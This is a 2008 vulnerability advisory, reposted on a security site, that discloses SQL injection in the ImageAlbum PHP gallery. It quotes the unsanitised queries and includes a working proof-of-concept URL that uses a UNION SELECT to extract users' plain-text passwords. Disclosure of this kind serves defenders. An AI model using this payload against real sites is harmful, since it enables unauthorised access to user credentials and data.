ImageAlbum Remote SQL Injection Vulnerabilities

2008.01.17
Credit: dB
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

ImageAlbum Remote SQL Injection Vulnerabilities ------------------------------------------------------------------------ - Product: ImageAlbum Version: Latest 2.0.0b2, others not tested Vendor: http://imagealbum.sourceforge.net/ Date: 01/10/08 - Introduction ImageAlbum is a web application written in PHP for displaying and editing picture collections. It features user accounts and picture comments. - Details Multiple SQL injection vulnerabilities exist, that can result in user credentials being compromised or the modification of the database. In classes/IADomain.php $sql = "SELECT * FROM `iaimage` WHERE `id` = $id AND `domain_id` = $this->id LIMIT 1"; In classes/IACollection.php $sql = "SELECT * FROM `iacollection` WHERE `id` = $this->id"; In classes/IAUser.php $sql = "SELECT * FROM `iauser` WHERE `id` = $this->id"; Other SQL statements in the application are also vulnerable. - Proof of Concept The following example exploits the image viewer page by placing the password of a user into the src attribute of the img tag instead of the correct path to the image. User passwords are stored in plain-text. http://[site]/index.php/[domain]/?action=collection.imageview&id=643635 union all select iaimage.id, iaimage.name, description, iaimage.collection_id, iaimage.domain_id, password As path, access, visits, checked FROM iaimage, iauser WHERE iaimage.id=411 /* Note, 643635 is an invalid image id and 411 is a known valid image id. - Solution Edit the source code to insure that all user input is properly sanitised. Cheers, dB <dB [at] rawsecurity ! org>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top